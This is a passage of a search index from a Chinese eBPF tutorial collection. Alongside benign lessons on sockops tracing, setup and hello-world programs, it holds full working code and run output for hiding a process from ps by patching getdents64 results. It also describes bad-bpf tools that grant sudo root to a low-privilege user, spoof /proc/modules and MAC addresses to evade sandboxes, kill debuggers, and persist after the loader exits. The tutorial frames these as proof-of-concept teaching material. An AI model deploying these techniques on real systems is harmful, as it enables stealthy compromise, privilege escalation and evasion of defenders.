等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"150","title":"收集追踪"},"151":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"151","title":"卸载 eBPF 程序"},"152":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"152","title":"参考资料"},"153":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"153","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"154":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"154","title":"背景知识与实现机制"},"155":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"155","title":"内核态 eBPF 程序实现"},"156":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"156","title":"用户态 eBPF 程序实现"},"157":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"157","title":"编译运行，隐藏 PID"},"158":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容，包括如何使用 eBPF 进行网络和系统性能分析，如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息，进一步提升你的 eBPF 开发技能。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"158","title":"总结"},"159":{"body":"编译： make 使用方式： sudo ./bpfdos 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 bpf-dos 开始运行，你可以通过运行以下命令进行测试： strace /bin/whoami","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 用 bpf_send_signal 发送信号终止恶意进程","id":"159","title":"用 bpf_send_signal 发送信号终止恶意进程"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS] <SOURCE_PATH> [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"160","title":"参考资料"},"161":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"161","title":"使用 eBPF 添加 sudo 用户"},"162":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"162","title":"参考资料"},"163":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"163","title":"使用 eBPF 替换任意程序读取或写入的文本"},"164":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"164","title":"参考资料"},"165":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"165","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"166":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"166","title":"eBPF 程序的生命周期"},"167":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"167","title":"运行"},"168":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"168","title":"参考资料"},"169":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » BPF Features by Linux Kernel Version","id":"169","title":"BPF Features by Linux Kernel Version"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include <linux/bpf.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 